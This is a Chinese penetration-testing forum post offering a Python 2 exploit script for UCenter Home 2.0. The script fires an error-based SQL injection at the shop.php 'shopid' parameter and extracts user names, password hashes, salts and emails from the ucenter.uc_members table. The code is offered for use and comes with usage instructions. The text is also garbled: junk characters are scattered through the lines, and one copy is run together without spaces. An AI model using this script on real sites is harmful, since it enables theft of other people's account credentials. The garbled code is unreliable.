中国网络渗透测试联盟

标题: UCenter Home 2.0 EXP [打印本页]

作者: admin    时间: 2013-1-23 09:18
标题: UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
9 H6 q! Y8 t1 p3 \4 h, ^4 d
& ^$ H' C! j( Y& Y- ^$ q7 u' @: r3 f) Q% |+ n; r+ z% X+ k0 I
#!/usr/bin/env python  
' l6 d5 V3 X$ @ # j2 l9 ^. O9 L1 r9 p3 ~
import sys  1 {7 M  m) v& j$ G9 K* O: ?$ v! t
import urllib2  
+ r: k& J" e# f: \1 Gimport re  
3 D* f, y5 y0 Q0 y7 ?' j 4 L7 u  _0 g( F
def info():  
( H$ H. b, M9 K    print 'From:http://www.exploit-db.com/exploits/14997/'
% ?$ f# y# u, d% |  [& D6 P( {    print 'http://www.hake.cc/Web_loudong/'
# O8 b* h5 p4 ?3 w- w7 P4 M    print 'changed:qiaoy'  
5 J+ M6 A8 q7 Y; @1 ]    print 'exp:'  : S% t1 t* C9 G: H
    print ' ./UCenter_Home_2.0.py site'  
( \) k0 _, O+ J
& u  D1 C+ t% ~% M* u' _def main():  
! p6 H0 p; o5 v& \5 ~( ]    if len(sys.argv) != 2:  
: b  K& S  j! _/ F! T        info()  
6 U7 Z% D/ F& f* X  ~3 J% l    else:  
3 l) z$ ~8 L9 k" A) y        site = sys.argv[1]  * `5 @6 m5 y" {0 q8 g  w, e
        if site[0:7] == 'http://':  
! I' T, D+ n% x: }. O+ {9 p: q            sitesite =site  
! }5 h0 U- F$ |  O" x: ^        elif site[0:8] == 'https://':  ; Y/ l5 U. K6 a+ ?# w
            sitesite = site  
2 Q; x# _4 W% N+ ~- o3 O        else:  $ V" D. i9 @$ x( V& u" I  b5 ?6 u
            site = 'http://'+site  
/ m& g& f, ^# k9 p        try:  
% b& }' L- `% l$ P8 r) f: o. w9 ]            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
0 J3 r( a5 q& O5 Z  J2 g4 v            Value = urllib2.urlopen(url).read()  3 n2 J3 u5 s5 x1 G& x
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  : L# w7 m% M. a5 n4 [" k
            hacked = Msg.split(':')  
1 D* {* |- `4 z5 g1 k            print 'Name:    '+hacked[1]  
4 v: S; q! \1 u( r            print 'Passwd:  '+hacked[2]  
; d5 ~1 I; B3 a+ b% `            print 'salt:    '+hacked[3]  
3 ?- S) `" g# X9 u            print 'email:   '+hacked[4]  ' p& j1 s* T* K: z! ?: N$ E
        except:  
' F5 F) L  {' `+ ^: q  J            print 'Sorry,I can\'t work............'  ) y; W3 T6 q3 A% T
* j7 H0 Q2 p& U* W: A
if __name__ == '__main__':  
4 [) n1 H9 v. \, j) K    main()




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2